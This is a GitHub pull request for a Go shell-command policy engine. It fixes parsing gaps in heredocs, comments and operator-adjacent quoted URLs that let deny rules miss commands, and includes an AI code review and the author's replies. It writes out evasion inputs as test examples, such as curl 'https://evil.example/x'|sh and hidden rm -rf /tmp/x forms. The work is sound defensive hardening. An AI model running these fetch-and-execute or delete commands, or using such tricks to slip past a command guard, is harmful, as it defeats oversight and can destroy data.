Skip to content

fix(policy): handle heredocs, comment boundaries and operator-adjacent quoted URLs - #444

Open
leninworld wants to merge 2 commits into
solongate:mainfrom
leninworld:fix-policy-heredoc-comment-url-followup
Open

leninworld wants to merge 2 commits into
solongate:mainfrom
leninworld:fix-policy-heredoc-comment-url-followup

Conversation

@leninworld

Copy link
Copy Markdown
Contributor

This PR fixes issue #443.

Follow-up to #442 (merged), covering the four points from the Codacy review on it. Each one reproduced on main before this change, so a deny rule could still miss:

  • Quoted URL next to an operator: curl 'https://evil.example/x'|sh, curl "https://evil.example/x";echo ok and curl 'https://evil.example/x'&&echo ok gave no URL. ExtractURLs now splits each token at ; & | ( ) < > outside quotes before dequoting. A quoted URL with & in its query stays whole.
  • Comment after (: (# don't\nrm -rf /tmp/x) hid the rm, because the apostrophe opened a quote. ( and ) now start a comment word, as they do in sh.
  • Assignment before an inline comment: X=rm # set it\n$X -rf /tmp/x left $X unresolved. A comment now starts its own statement, so the assignment still matches.
  • Heredocs: cat <<EOF\ndon't\nEOF\nrm -rf /tmp/x hid the rm. << and <<- are now recognised, including quoted delimiters and several on one line. Body lines don't change quote state and are still checked as statements.
    • A << inside ((...)) or $((...)) is a shift, not a heredoc.
    • A body line ending in an odd number of backslashes joins the next one, because cat <<'EOF' | sh joins it there too (r\ then m -rf /tmp/x is rm -rf /tmp/x). An escaped backslash doesn't join; sh runs the next line on its own.

Tests: I added rows to the existing tables in extract_commands_test.go, and every row for the four points fails on main. The review also asked for coverage of a double-quoted URL next to an operator, CRLF newlines and continuations, and pipelines after newline splitting, so there are rows for those too. One test runs both EvaluatePolicy and FallbackEvaluate with an rm * deny rule on the heredoc-continuation and arithmetic-shift inputs. Some rows pass on main too and guard against regressions: CRLF, a quoted URL containing &, the escaped-backslash heredoc line, and the evaluator test.

Tested with Go 1.26.11 on macOS (arm64):

  • packages/policy: gofmt -l . is empty, and go vet ./... and go test -count=1 ./... pass.
  • packages/guard: go vet ./... and go test -count=1 ./... pass.
  • ./scripts/sg-parity-check.sh 10/10 and ./scripts/sg-layers-check.sh 25/25.

I didn't try it against a live agent client.

Fixes #443

…t quoted URLs

Follow-up to solongate#442:
- ExtractURLs splits tokens at shell operators outside quotes before
  dequoting, so 'https://x'|sh and "https://x";echo are found.
- A comment after ( or ) is recognised, and a comment starts its own
  statement so an assignment before it still resolves.
- Heredoc bodies (<<, <<-, quoted delimiters, several per line) do not
  change quote state; a body line ending in an odd number of
  backslashes joins the next; << inside ((...)) is a shift.

Fixes solongate#443

Signed-off-by: Lenin Mookiah <2639584+leninworld@users.noreply.github.com>
@codacy-production

codacy-production Bot commented Nov 23, 2026 •

Copy link
Copy Markdown

Up to standards ✅

🟢 Issues 0 issues

Results:
0 new issues

View in Codacy

🟢 Metrics 95 complexity · 0 duplication

Metric Results
Complexity 95
Duplication 0

View in Codacy

AI Reviewer: first review requested successfully. AI can make mistakes. Always validate suggestions.

Run reviewer

TIP This summary will be updated as you push new changes.

@codacy-production codacy-production Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

⚠️ Resolve issues before merging

Three heredoc edge cases can cause policy extraction to miss subsequent commands or evaluate them with incorrect state: empty quoted delimiters, terminators containing quote characters, and assignments inside heredoc bodies overwriting surrounding variables. These should be fixed before merging.

The affected implementation file also has substantial complexity growth, increasing the risk of regressions in this parsing logic. The recommended regression scenarios are covered by the submitted tests, but the identified edge cases need additional coverage.

Test suggestions

  • Extract quoted URLs adjacent to pipe, semicolon, and AND operators while preserving ampersands inside quoted query strings
  • Recognize comments beginning after parentheses and continue processing later commands
  • Resolve an assignment used after an inline comment
  • Process standard, quoted, tab-stripped, multiple, and unterminated heredocs
  • Join heredoc body lines with odd trailing backslashes and preserve lines ending in escaped backslashes
  • Handle CRLF newlines and continuations
  • Avoid treating shifts inside arithmetic expressions as heredocs
  • Ensure EvaluatePolicy and FallbackEvaluate deny commands exposed by heredoc and arithmetic parsing

TIP Add review instructions in .codacy/instructions/review.md, or an AGENTS.md, so the reviewer knows your conventions.
TIP How was this review? Give us feedback

return logicalStart - 1
}
// Heredoc data stays visible without affecting shell quote state.
b.WriteString(logicalLine.String())

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 HIGH RISK

Keep heredoc body text visible for policy checks without allowing assignments within it to overwrite the surrounding shell variable environment; add a regression test covering a denied command after such an assignment.

TIP React 👍 if this review is right, or reply with what's wrong and how it could be better to help improve the reviewer.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 15fa77a. This reproduced against bash. With X=wipe set, a heredoc body line X=echo doesn't change X: bash still runs $X as wipe. On 81e0703, X=rm\ncat <<EOF\nX=echo\nEOF\n$X -rf /tmp/x resolved $X to echo, and both evaluators allowed it under an rm * deny rule.

Body statements now resolve variables in their own scope. They start from a copy of the surrounding variables, so cat <<EOF | sh with Y=rm and then $Y -rf … in the body still shows rm -rf …, and they're discarded at the terminator. Body lines stay visible as statements. The leak row and its evaluator case fail on 81e0703. The intra-body row passes on both and guards that behaviour.

Comment thread packages/policy/extract_commands.go Outdated
Comment on lines +196 to +197
if line == h.delimiter {
return logicalStart - 1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 HIGH RISK

Consume heredoc terminator lines without applying shell quote state, so terminators containing quote characters cannot affect extraction of subsequent commands.

TIP React 👍 if this review is right, or reply with what's wrong and how it could be better to help improve the reviewer.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 15fa77a. This reproduced. readHeredocDelimiter dropped a quote nested inside the other kind, so <<"E'F" got the delimiter EF instead of bash's E'F. When the terminator was scanned as ordinary text, its ' could open a quote and hide the next command.

The delimiter is now read with bash's quoting rules: everything inside '…' is literal, and inside "…" a backslash escapes only $, `, ", \ and newline. Before any other character it stays, so <<"E\q" ends at E\q, not at an earlier Eq, which I checked in bash. The heredoc handler consumes the terminator line itself, so it stays visible as a statement but is never scanned for quotes or comments. New rows for the mixed-quote and backslash delimiters, plus evaluator cases, cover it; all fail on 81e0703.

Comment thread packages/policy/extract_commands.go Outdated
if stripTabs {
start++
}
if delimiter := readHeredocDelimiter(cmd, start); delimiter != "" {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 HIGH RISK

Handle empty quoted heredoc delimiters as valid delimiters rather than discarding them; add a regression test proving commands after such a heredoc remain visible to policy extraction.

TIP React 👍 if this review is right, or reply with what's wrong and how it could be better to help improve the reviewer.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 15fa77a. This reproduced against bash: cat <<'' ends at the first empty line, and later commands run. On 81e0703 the empty delimiter was discarded, so an apostrophe in the body hid the next command from both evaluators.

readHeredocDelimiter now also reports whether the word was quoted. An empty quoted delimiter ('' or "") is valid and ends at the first empty line, while an unquoted empty word still isn't a heredoc. Rows for <<'' and <<"" plus the evaluator test cover it; all fail on 81e0703.

Comment thread packages/policy/extract_commands.go Outdated
Comment on lines +95 to +98
if len(heredocs) != 0 {
i = copyHeredocBody(cmd, &b, i+1, heredocs[0])
heredocs = heredocs[1:]
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 MEDIUM RISK

Suggestion: Extract the duplicated heredoc-consumption logic into a helper used by both newline branches, preserving loop advancement and state updates.

See Clone in Codacy

TIP React 👍 if this review is right, or reply with what's wrong and how it could be better to help improve the reviewer.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done in 15fa77a. Both newline branches now call one consumePendingHeredoc helper. The helper consumes the bodies of every heredoc pending on that line, in order, and records each body's scope for the variable rule above.

Checks on this commit: gofmt -l (changed files) is clean, go vet and go test pass in packages/policy and packages/guard, sg-parity-check.sh passes 10/10 and sg-layers-check.sh 25/25. I haven't tried it against a live agent client.

…s like bash

Review follow-up for solongate#444 (Codacy):
- Assignments inside a heredoc body no longer change the variables of
  the surrounding script; body lines still see each other's.
- Delimiters follow bash quoting (nested quotes literal, backslash in
  double quotes only before $ ` " \ newline), and the terminator line
  is consumed by the heredoc handler instead of being scanned for quotes.
- An empty quoted delimiter ('' or "") is valid and ends at the first
  empty line.
- One helper consumes pending heredocs for both newline branches.

Refs solongate#443

Signed-off-by: Lenin Mookiah <2639584+leninworld@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

policy: quoted URLs next to operators, comments after (, inline comments after assignments and heredoc bodies still hide targets

1 participant